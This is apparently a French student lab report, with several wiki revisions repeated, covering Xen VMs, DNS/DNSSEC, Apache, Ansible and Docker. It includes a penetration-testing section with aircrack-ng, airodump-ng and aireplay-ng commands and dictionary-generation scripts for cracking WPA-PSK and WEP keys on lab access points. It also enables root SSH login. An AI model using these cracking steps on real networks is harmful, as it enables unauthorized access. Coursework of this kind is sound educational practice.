Pour le serveur de temps dans le fichier main.yml on ajoute:
- name: install ntp
apt:
name: ntp
- name: install ntpdate
apt:
name: ntpdate
- name: Copy over the NTP configuration
copy: src=ntp.conf dest=/etc/ntp.conf
tags: ntp
- name: Stop ntp
service: name=ntp state=stopped enabled=yes
tags: ntpd
- name: Sync time initialy
shell: ntpdate ntp.polytech-lille.fr
tags: ntp
- name: Make sure NTP is started up
service: name=ntp state=started enabled=yes
tags: ntp

Dans le dossier files on crée ntp.conf qui référence notre NTP:
server ntp.polytech-lille.fr

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

Ça fonctionne, on obtient sur la machine principale:
[[Fichier:result_jeu_docker.png|600px|center]]

Sur la machine secondaire, on voit bien que docker a été installé:
[[Fichier:result-jeu-docker-bis.png|300px|center]]

====Création de votre conteneur====
On suit ce tutoriel:
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e

Pour tester la partie docker indépendamment, sur la machine secondaire:
:- on crée notre index.html (basique)
:- on crée notre dockerfile:
FROM centos:latest
MAINTAINER NewstarCorporation
RUN yum -y install httpd
COPY index.html /var/www/html/
CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]
EXPOSE 80

On crée l'image:
docker build DockerFiles/ -t webserver:v1

[[Fichier:result-httpd.png|400px|center]]

Puis on la run:
docker run -dit -p 1234:80 webserver:v1

Maintenant il faut déployer le docker depuis la machine principale sur la machine secondaire en utilisant ansible:
---
- hosts: nous
tasks:
- name: install rsync
apt:
state: latest
name: 'rsync'

- name: transfer files
copy:
src: DockerFiles
dest: /tmp/gr4/
register: copy_output
- debug: var=copy_output

- name: Try to stop container
docker_container:
name: container-chlamydiae
state: stopped
image: image-for-chlamydiae

- name: Delete container
docker_container:
name: container-chlamydiae
state: absent
image: image-for-chlamydiae

- name: Delete the image
docker_image:
name: image-for-chlamydiae
tag: latest
path: /tmp/gr4/DockerFiles
state: absent
force: yes

- name: build Docker image from Dockerfile
docker_image:
tag: latest
name: image-for-chlamydiae
path: /tmp/gr4/DockerFiles
state: present

- name: Create the container
docker_container:
name: container-chlamydiae
image: image-from-ansible
state: present

- name: check if container is running
shell: 'docker ps'
register: docker_ps
- debug: var=docker_ps.stdout_lines

- name: Last
docker_container:
name: container-chlamydiae
image: image-for-chlamydiae
state: started
recreate: yes
ports:
- "8004:80"

====Configuration de vos serveurs internes====
====Equilibreur de charge====

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

TP sysres IMA5sc 2019/2020 G4

2019-12-16T13:37:51Z

Zbriois : /* Création de votre conteneur */

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#
#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'
#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]
#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Cordouan on installe bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "hercule.space" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre bind9 :
service bind9 restart

En cas d'erreur on a accès au log dans /var/log/daemon.log

Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter:
name : ns.chlamydiae.site
IP address : 193.48.57.180

C'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2: ns6.gandi.net

===Serveur Apache===
Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

Redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options:
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
On signe les enregistrements de la zone en exécutant la commande suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.hadess.space.signed";
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
# export http_proxy=http://proxy.plil.fr:3128
# export https_proxy=http://proxy.plil.fr:3128
# xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # = adresse de private-chlamydiae + 10
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 193.48.57.180 # l'adresse de la VM principale
address 192.168.0.4

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

===Paramétrage des rôles===
Crée un dossier roles dans /root
mkdir roles

Créer dans le dossier roles un dossier common et un fichier common.yml
mkdir common && vim common.yml

Dans le fichier Common.yml:
---
- hosts: nous
tasks:
- name: include common
include_role:
name: common

Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.

===== Motd =====
Dans le dossier tasks on crée un fichier main.yml:
- name: Write on motd
copy:
dest: /etc/motd
src: motd

Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.
Ce fichier motd contiendra notre message.

===== NTP =====
Pour le serveur de temps dans le fichier main.yml on ajoute:
- name: install ntp
apt:
name: ntp
- name: install ntpdate
apt:
name: ntpdate
- name: Copy over the NTP configuration
copy: src=ntp.conf dest=/etc/ntp.conf
tags: ntp
- name: Stop ntp
service: name=ntp state=stopped enabled=yes
tags: ntpd
- name: Sync time initialy
shell: ntpdate ntp.polytech-lille.fr
tags: ntp
- name: Make sure NTP is started up
service: name=ntp state=started enabled=yes
tags: ntp

Dans le dossier files on crée ntp.conf qui référence notre NTP:
server ntp.polytech-lille.fr

====Installation de docker====
On commence par installer le rôle docker dont on a besoin:
ansible-galaxy install geerlingguy.docker (la doc est ici https://github.com/geerlingguy/ansible-role-docker)

Puis on crée notre playbook:
---
- hosts: nous
vars:
- pip_install_packages:
- name: docker
- docker_apt_repository: "deb [arch={ { docker_apt_arch } }] https://download.docker.com/linux/debian stretch stable"
roles:
- geerlingguy.pip
- geerlingguy.docker
...

Ça fonctionne, on obtient sur la machine principale:
[[Fichier:result_jeu_docker.png|600px|center]]

Sur la machine secondaire, on voit bien que docker a été installé:
[[Fichier:result-jeu-docker-bis.png|300px|center]]

====Création de votre conteneur====
On suit ce tutoriel:
https://medium.com/@vi1996ash/steps-to-build-apache-web-server-docker-image-1a2f21504a8e

Sur la machine secondaire:
:- on crée notre index.html (basique)
:- on crée notre dockerfile:
FROM centos:latest
MAINTAINER NewstarCorporation
RUN yum -y install httpd
COPY index.html /var/www/html/
CMD [“/usr/sbin/httpd”, “-D”, “FOREGROUND”]
EXPOSE 80

On crée l'image:
docker build DockerFiles/ -t webserver:v1

[[Fichier:result-httpd.png|400px|center]]

Puis on la run:
docker run -dit -p 1234:80 webserver:v1

====Configuration de vos serveurs internes====
====Equilibreur de charge====

==Tests d’intrusion==
'''Cassage de mot de passe WPA-PSK par force brute'''

Lors de la 2ème séance:

Nous avons utilisé aircrack-ng pour lancer une recherche sur le mot de passe de l’identification par WPA-PSK en supposant que ce nombre est sur 8 chiffres.

D'abord on vérifie que le Wi-Pi est connecté:
ls usb
Ensuite on récupère le nom de notre interface:
iwconfig
On obtient wlx40a5ef0125e9, si il n'est pas en mode 'Monitor' il est nécessaire de lancer la commande
airmon-ng start wlx40a5ef0125e9
On récupère alors tout les points d'accès accessibles en wifi (et donc l'adresse de la cible) via:
airodump-ng wlx40a5ef0125e9
Ensuite il faut récupérer le paquet OnCheck grâce à la commande suivante où -c permet de préciser le numéro du channel, -bssid l'adresse MAC de la cible et -w le path du fichier où écrire le résultat.
airodump-ng -c 2 --bssid 04:DA:D2:9C:50:5D -w ./home/pifou/packedOneCheck wlx40a5ef0125e9

Ensuite nous avons généré le dictionnaire, on a réalisé un script en C et un en Python:

Celui en Python s’exécute en 39 s
dictfile=open("dict.txt","a")
for i in range(99999999):
dictfile.write(str(i)+'\n')
dictfile.close()

Celui en C s’exécute en 7 s
#include <stdlib.h>
#include <stdio.h>
int main() {
FILE *f;
f= fopen("dictc.txt", "a");
for(int i=0;i<=99999999;i++) {
fprintf(f, "%08d\n", i);
}
fclose(f);
return 0;
}

On peut alors lancer le cassage à l'aide de:
aircrack-ng -a2 -b 04:DA:D2:9C:50:5D -w path_to_dict/dict.txt path_to_packedOneCheck_result/*.cap

On obtient le résultat suivant:
[[Fichier:ftzb-wpa-result.png|600px|center]]

'''Cassage de clef WEP d’un point d’accès Wifi'''

On connaît déjà le nom de notre interface, on peut donc directement lancer la commande suivante pour récupérer le canal et le ssid de notre nouvelle cible:
airodump-ng --encrypt xep wlx40a5ef0125e9

Comme précedémment avec le WPA on peut lancer la commande:
airodump-ng -c 2 –-bssid 04:DA:D2:9C:50:50 -w Wep wlx40a5ef0125e9

Elle permet de capture les paquets qui transitent sur le réseau, l'objectif est de récupérer le maximum de vecteurs d'initialisation qui seront sauvegardés dans le fichier spécifié. Plus ce nombre de vecteurs est important, plus le cassage de la clé sera facilité. Pour augmenter le débit de paquets intéressants pour nous, on peut effectuer de fausses connexions à la machine cible via la commande:
aireplay-ng --fakeauth 30 -a 04:DA:D2:9C:50:5D wlx40a5ef0125e9

Une fois le nombre de vecteur suffisants (on a choisit 30 000 pour une question de gain de temps), on peut arrêter ce processus et lancer le cassage avec:
aircrack-ng Wep*.cap

On obtient alors le résultat suivant:
[[Fichier:ftzb-wep-result.png|600px|center]]

TP sysres IMA5sc 2019/2020 G4

2019-12-16T13:36:07Z

Zbriois : /* Serveur Apache */

==Installation des systèmes d’exploitation: machine virtuelle Xen==
'''Lors de la 1ère séance:'''

Nous avons d'abord réserver le nom de domaine via gandi.net: chlamydiae.site.

Ensuite nous allons créer une machine virtuelle sur cordouan grâce à l’hyperviseur Xen.
On se connecte d'abord en SSH à Cordouan, puis on spécifie le proxy pour pouvoir ensuite récupérer les packages. On peut alors créer l'image de la machine en spécifiant --dhcp car on ne connaît pas encore l’adresse IP.

ssh root@cordouan.insecserv.deule.net
export http_proxy=http://proxy.polytech.fr:3128
xen-create-image --hostname=chlamidyae --dhcp --dir=/usr/local/xen --force

Adresse MAC obtenue: 00:16:3E:83:27:97

'''Lors de la 2ème séance:'''

Le fichier de configuration de notre machine virtuelle se trouve dans etc/xen/chlamydiae.cfg

#
# Configuration file for the Xen instance chlamydiae, created
# by xen-tools 4.7 on Mon Nov 18 17:11:19 2019.
#
#
# Kernel + memory size
#
kernel = '/boot/vmlinuz-4.9.0-6-amd64'
extra = 'elevator=noop'
ramdisk = '/boot/initrd.img-4.9.0-6-amd64'

vcpus = '1'
memory = '256'
#
# Disk device(s).
#
root = '/dev/xvda2 ro'
disk = [
'file:/usr/local/xen/domains/chlamydiae/disk.img,xvda2,w',
'file:/usr/local/xen/domains/chlamydiae/swap.img,xvda1,w',
]
#
# Hostname
#
name = 'chlamydiae'

#
# Networking
#
dhcp = 'dhcp'
vif = [ 'mac=00:16:3E:D0:18:F4' ]

#
# Behaviour
#
on_poweroff = 'destroy'
on_reboot = 'restart'
on_crash = 'restart'

==Architecture réseau==

==Services Internet==
===Serveur SSH===
On ajoute d'abord le bridge IMA5sc dans l’ensemble de nos VM
On leur ajoute également les disks: var, home et les 3 crées par l’autre groupe pour le RAID.

On reboot les VM:
xl reboot chlamydiae
ou
xl destroy chlamydiae
xl create chlamydiae.cfg

Pour se connecter a une VM:
xl console chlamydiae

Pour permettre à la VM d'accéder à internet, on modifie sont etc/network/interfaces:
# The primary network interface
auto eth0
iface eth0 inet static
address 193.48.57.180
netmask 255.255.255.240

Puis ifup / ifdown de eth0.

Après l'ajout du gateway, nous arrivons désormais à pinger internet depuis notre machine virtuel, mais aussi à pinger notre VM depuis la Zabeth. Enfin pour pouvoir se connecter en ssh depuis la zabeth sur la VM nous avons modifié le fichier etc/ssh/sshd_config et remplacer la ligne commentée :
#PermitRootLogin prohibit-password
par
PermitRootLogin yes
Il faut ensuite rebooter la machine virtuelle.

===Serveur DNS===
On fait d'abord la demande de certificat sur Gandi.

Ensuite pour la configuration du DNS:
- on commence par vérifier que la ligne suivante est bien présente dans le fichier /etc/bind/named.conf.options
dnssec-validation auto;

Sur Cordouan on installe bind9:

apt install bind9 bind9-host dnsutils

Modification de la configuration de bind9 :

On créé un fichier de configuration de zone chlamydiae.site dans /etc/bind/ avec le contenu suivant :

;
; BIND data file for local loopback interface
;
$TTL 604800
@ IN SOA ns.chlamydiae.site. root.chlamydiae.site (
3 ; Serial
604800 ; Refresh
86400 ; Retry
2419200 ; Expire
604800 ) ; Negative Cache TTL
;
IN NS ns.chlamydiae.site.
IN NS ns6.gandi.net.
@ IN A 193.48.57.180
ns IN A 193.48.57.180
www IN A 193.48.57.180

Faire bien attention à la fin des nameServer sinon bind9 ajoute automatiquement le nom du domaine.

Ajout de notre zone DNS en modifiant le fichier /etc/bind/named.conf.local :

zone "hercule.space" {
type master;
file "/etc/bind/chlamydiae.site";
allow-transfer {217.70.177.40;}; //dns de gandi
};

La ligne 'allow-transfer' précise les adresses des serveurs esclaves Gandi.

On redémarre bind9 :
service bind9 restart

En cas d'erreur on a accès au log dans /var/log/daemon.log

Sur gandi.net dans l'onglet Glue Records de notre domaine, il faut ajouter:
name : ns.chlamydiae.site
IP address : 193.48.57.180

C'est l'association du serveur DNS créé avec notre adresse IP:

Changement des nameserver sur gandi.net :
DNS 1: ns.chlamydiae.site
DNS 2: ns6.gandi.net

===Serveur Apache===
Création du dossier /var/www/www.chlamydiae.pw

*''' Certification SSL :'''

Génération du Certificate Signing Request (CSR) pour Gandi sur la VM :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout chlamydiae.pw.key -out chlamydiae.pw.csr

On copie le contenu de la clé générée sur Gandi. Pour valider la certification SSL, on choisi la méthode par DNS Record. On ajoute alors l'enregistrement CNAME proposé par Gandi dans notre configuration de zone sur la VM. Il faut maintenant patienter le temps du traitement.

*'''Configuration Apache :'''

Configuration du serveur web dans le fichier /etc/apache2/sites-available/chlamydiae.conf

<VirtualHost 193.48.57.183:443>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
DocumentRoot /var/www/html/
CustomLog /var/log/apache2/secure_acces.log combined

SSLEngine on
SSLCertificateFile /etc/ssl/certs/www.chlamydiae.site.crt
SSLCertificateKeyFile /etc/ssl/private/hmyserver.key
SSLCertificateChainFile /etc/ssl/certs/GandiStandardSSLCA2.pem
SSLVerifyClient None
</VirtualHost>

Redirection automatique du port http vers le port https

<VirtualHost 193.48.57.183:80>
ServerName www.chlamydiae.site
ServerAlias chlamydiae.site
Redirect / https://www.chlamydiae.site
</VirtualHost>
==== DNSSEC ====

Pour ajouter l'extension de sécurité sur notre DNS on l'active dans named.conf.options:
dnssec-enable yes;

Puis, nous créons le répertoire '''chlamydiae.site.dnssec''' dossier où on générera les clés.
Pour générer les clés KSK on lance la commande suivante:
dnssec-keygen -a RSASHA1 -b 2048 -f KSK -n ZONE chlamydiae.site
Pour générer la clef asymétrique de signature (ZSK) de clefs de zone :
dnssec-keygen -a RSASHA1 -b 1024 -n ZONE chlamydiae.site
On renomme nos clefs avec des noms plus explicite :
chlamydiae.site-ksk.key
chlamydiae.site-ksk.private
chlamydiae.site-zsk.key
chlamydiae.site-zsk.private

On inclue alors nos clefs en les ajoutant dans le fichier de zone '''/etc/bind/chlamydiae''' :
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-ksk.key
$include /etc/bind/chlamydiae.site.dnssec/chlamydiae.site-zsk.key
On signe les enregistrements de la zone en exécutant la commande suivante (dans le répertoire chlamydiae.site-dnssec):
dnssec-signzone -o chlamydiae.site -k chlamydiae.site-ksk ../chlamydiae.site chlamydiae.site-zsk

Maintenant que notre zone est signé.On modifie le fichier '''named.conf.local''' pour utiliser le fichier de zone signé :
file "/etc/bind/db.hadess.space.signed";
On communique à gandi.net la partie publique de nos clés (chlamydiae.site-*.key) dans notre domaine pour l'onglet dnssec ajout external key ( faire attention de sélectionner l'algorithme rsaha1); on le fait pour KSK et ZSK.

Enfin, on relance le service bind :
service bind9 restart

==Ferme de serveurs Web==
====Architecture générale de la ferme====
On commence par créer une seconde machien virtuelle:
ssh root@cordouan.insecserv.deule.net
# export http_proxy=http://proxy.plil.fr:3128
# export https_proxy=http://proxy.plil.fr:3128
# xen-create-image --hostname=private-chlamydiae --ip=ip 192.168.0.4 --dir=/usr/local/xen --force

On peut suivre l'avancement en faisant:
tail -f /var/log/xen-tools/private-chlamydiae.log

Ensuite on modifie les fichiers de configuration des 2 machines virtuelles présents dans /etc/xen/ :
Pour la première (chlamydiae):

vif = ['mac=00:16:3E:D0:18:F4, bridge=IMA5sc','mac=00:16:3E:D0:18:FE, bridge=IMA5sc_priv' ]

Pour la seconde:
vif = [ 'mac=00:16:3E:9A:57:AB, bridge=IMA5sc_priv' ]

On augmente également la mémoire à 512M pour les deux.

Dans la chlamydiae/etc/network/interfaces:
auto eth1
iface eth1 inet static
address 192.168.0.14 # = adresse de private-chlamydiae + 10
netmask 255.255.255.0

Dans private-chlamydiae/etc/network/interfaces:
auto eth0
iface eth0 inet static
gateway 193.48.57.180 # l'adresse de la VM principale
address 192.168.0.4

Puis les ifdown / ifup habituels, maintenant depuis chlamydiae on peut pinger private-chlamydiae.

Pour faire la mascarade, sur chlamydiae:
iptables -P FORWARD DROP
iptables -A FORWARD -j ACCEPT -s 192.168.0.0/24
iptables -A FORWARD -j ACCEPT -d 192.168.0.0/24
iptables -t nat -A POSTROUTING -j MASQUERADE -s 192.168.0.0/24
echo 1 > /proc/sys/net/ipv4/ip_forward

Pour rendre la configuration persistante:
apt install iptables-persistent > Yes > Yes

Ensuite on installe Ansible sur la VM principale (et Python sur la secondaire).
On crée un inventaire dans /etc/ansible/hosts en séparant l’ensemble des serveurs internes et le notre:
---
all:
hosts:
nous:
ansible_host: 192.168.0.4
children:
serveurs-internes:
hosts:
192.168.0.[1:6]
...

On crée notre clé, que l'on propage sur l'ensemble des serveurs private:
ssh-keygen -t rsa
cat .ssh/id_rsa.pub | ssh 192.168.0.1 "cat >> /root/.ssh/authorized_keys2"

On écrit notre premier playbook qui installe lsb-release et effectue la commande lsb_release -d:
---
- hosts: serveurs-internes
tasks:
- name: install lsb-release
apt:
update_cache=yes
state=latest
name = { { item } }
with_items:
- lsb-release
- name: test lsb release
shell: 'lsb_release -d'
register: ps
- debug: var=ps.stdout_lines
...

On lance le playbook:
ansible-playbook jeu-lsb-release.yml

On obtient le résultat suivant:
[[Fichier:jeu-lsb-release1.png|600px|center]]
[[Fichier:jeu-lsb-release2.png|600px|center]]

===Paramétrage des rôles===
Crée un dossier roles dans /root
mkdir roles

Créer dans le dossier roles un dossier common et un fichier common.yml
mkdir common && vim common.yml

Dans le fichier Common.yml:
---
- hosts: nous
tasks:
- name: include common
include_role:
name: common

Dans le dossier common on crée deux dossiers, un dossier files contenant les fichiers (.conf, motd, etc.) et un dossier tasks où il y aura nos playbooks.

===== Motd =====
Dans le dossier tasks on crée un fichier main.yml:
- name: Write on motd
copy:
dest: /etc/motd
src: motd

Dans ce fichier on lui dit de copier le fichier motd qu'il cherche arbitrairement dans common/files vers le etc/motd de la machine à qui on applique le rôle.
Ce fichier motd contiendra notre message.

===== NTP =====
Pour le serveur de temps dans le fichier main.yml on ajoute:
- name: install ntp
apt:
name: ntp
- name: install ntpdate
apt:
name: ntpdate
- name: Copy over the NTP configuration
copy: src=ntp.conf dest=/etc/ntp.conf
tags: ntp
- name: Stop ntp
service: name=ntp state=stopped enabled=yes
tags: ntpd
- name: Sync time initialy
shell: ntpdate ntp.polytech-lille.fr
tags: ntp
- name: Make sure NTP is started up
service: name=ntp state=started enabled=yes
tags: ntp

Dans le dossier files on crée ntp.conf qui référence notre NTP:
